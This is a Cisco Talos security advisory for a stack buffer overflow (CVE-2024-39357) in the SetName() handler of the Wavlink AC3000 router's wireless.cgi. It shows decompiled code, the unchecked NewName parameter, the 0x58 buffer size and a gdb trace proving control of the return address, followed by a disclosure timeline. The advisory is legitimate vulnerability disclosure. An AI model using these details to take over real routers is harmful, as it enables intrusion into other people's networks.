CVE-2024-39357
A stack-based buffer overflow vulnerability exists in the wireless.cgi SetName() functionality of Wavlink AC3000 M33A8.V5030.210505. A specially crafted HTTP request can lead to arbitrary command execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Wavlink AC3000 M33A8.V5030.210505
Wavlink AC3000 - https://www.wavlink.com/en_us/product/WL-WN533A8.html
9.1 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
CWE-121 - Stack-based Buffer Overflow
The Wavlink AC3000 wireless router is predominately one of the most popular gigabit routers in the US, in part due to both its potential wireless and wired speed capabilities and extremely low price point (costing at the time of this writing ~$60 USD). Among the configuration options, it’s also able to act as a standalone wireless gateway, a basic network router, or a wireless repeater.
When interacting with and configuring the Wavlink AC3000 wifi router, as is typical of most wifi routers, an administrator logs in via some web portal and configures appropriate options via the HTTP interface. In the case of this particular router, and in another somewhat common execution pattern, these HTML pages can invoke .cgi binaries due to how the lighttpd server is configured. Since all of these .shtml and .cgi files are located in the web root, anyone with network access to the device doesn’t actually need to log in to the device to interact with these .cgi files, and it usually is the responsibility of the .cgi binary to check if the authentication is completed successfully. On this device, one will see a check_valid_user() function in each individual .cgi binary which will check the session cookie of the HTTP request to see if it’s coming from a validly logged in user.
Assuming that we’ve passed this check in the wireless.cgi binary, we then run into a set of functions that we can call based off of what we pass for the page= parameter in our HTTP POST request. Of the available commands, we focus on the following:
00401db8 else if (strcmp(str1: webget_page, str2: "SetName") == 0)
00401f3c SetName(inpb: contlen_p1malloc_1)
If we provide page=SetName, we enter the SetName function and our provided POST data is further parsed therein:
00408518 int32_t SetName(char* inpb)
00408568 int32_t $v0_1 = strdup(web_get("wlan_idx", inpb, 0))
004085a0 int32_t $v0_3 = strdup(web_get("NewName", inpb, 0)) // [1]
004085bc int32_t stream = access("/tmp/web_log", 0)
004085c8 if (stream == 0)
00408610 stream = fopen(filename: "/dev/console", mode: &data_40d438)
0040861c if (stream != 0)
0040864c fprintf(stream, "%s:%s:%d:<--------SetName name=%s\n\n", "wireless.c", "SetName", 0x82c, $v0_3, 0x421d20)
00408664 stream = fclose(stream)
004085d0 if ($v0_3 != 0)
004085d8 stream = sx.d(*$v0_3)
004085e0 if (stream != 0)
00408680 void copydst
00408680 strcpy(dest: ©dst, src: $v0_3) // [2]
Extremely straight forward, a [1], we see the binary copy our arbitrary length NewName POST parameter to the heap, and at [2] this variable is then copied to the stack with an strcpy. Since there’s no length checking whatsoever on this POST parameter, we can easily pass in a buffer greater than length 0x58 and overwrite the return address of the function, resulting in code execution.
Thread 2.1 "wireless.cgi" hit Breakpoint 4, 0x00408680 in SetName ()
(gdb) info reg a0 s0
a0: 0x7f88a7f0
s0: 0xa640b8
(gdb) x/1s $s0
0xa640b8: "AAAA\004p\377\177\004p\377\177\004p\377\177\004p\377\177\004p\377\177\004p\377\177\004p\377\177\004p\377\177\004p\377\177\004p\377\177\004p\377\177\004p\377\177\004p\377\177\004p\377\177\004p\377\177\004p\377\177", 'D' <repeats 48 times>
(gdb) x/1i $t9
0x40d040 <strcpy>: lw t9,-32752(gp)
Thread 2.1 "wireless.cgi" hit Breakpoint 5, 0x00408754 in SetName ()
(gdb) x/20wx $sp
0x7f88a7d0: 0x0040eeb4 0x00a64008 0x00000001 0x77060f69
0x7f88a7e0: 0x00000098 0x7704e158 0x00421d20 0x0040eeb4
0x7f88a7f0: 0x41414141 0x7fff7004 0x7fff7004 0x7fff7004
0x7f88a800: 0x7fff7004 0x7fff7004 0x7fff7004 0x7fff7004
0x7f88a810: 0x7fff7004 0x7fff7004 0x7fff7004 0x7fff7004
(gdb)
0x7f88a820: 0x7fff7004 0x7fff7004 0x7fff7004 0x7fff7004
0x7f88a830: 0x7fff7004 0x44444444 0x44444444 0x44444444
0x7f88a840: 0x44444444 0x44444444 0x44444444 0x44444444
0x7f88a850: 0x44444444 0x44444444 0x44444444 0x44444444
0x7f88a860: 0x44444444 0x00000000 0x00000000 0x00000000
(gdb) x/2wx $sp+0x78-0x4
0x7f88a844: 0x44444444 0x44444444
(gdb) bt
#0 0x00408754 in SetName ()
#1 0x44444444 in ?? ()
(gdb) info reg
zero at v0 v1 a0 a1 a2 a3
R0 00000000 00000001 7fc8f5c8 00005288 00000000 00b030a8 00000001 76f96f69
t0 t1 t2 t3 t4 t5 t6 t7
R8 76f8b2b4 76f8a6e4 00000000 ffffffff 770f2000 f0000000 00000001 00408740
s0 s1 s2 s3 s4 s5 s6 s7
R16 44444444 44444444 44444444 44444444 00000000 76f12c10 0043183c ffffffff
t8 t9 k0 k1 gp sp s8 ra
R24 00000054 76f8f288 00000000 00000000 77110010 7fc8f5b0 00450000 44444444
status lo hi badvaddr cause pc
0100fc13 00111044 00000030 76f86f28 50800024 00408754
fcsr fir hi1 lo1 hi2 lo2 hi3 lo3
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
dspctl restart
00000000 00000000
(gdb) c
Continuing.
Thread 2.1 "wireless.cgi" received signal SIGSEGV, Segmentation fault.
0x44444444 in ?? ()
2024-07-25 - Initial Vendor Contact
2024-07-29 - Requesting reply from vendor
2024-07-30 - Vendor confirms receipt
2024-07-30 - Vendor Disclosure
2024-07-30 - Vendor confirms receipt
2024-09-02 - Status update request sent
2024-10-15 - Status update request. Upcoming expiration date announced.
2024-10-22 - Vendor replies product has been discontinued, but patches are being worked on
2024-11-04 - Status update request for patch release dates
2024-11-12 TALOS advisory release date announced
2025-01-14 - Public Release
Discovered by Lilith >_> of Cisco Talos.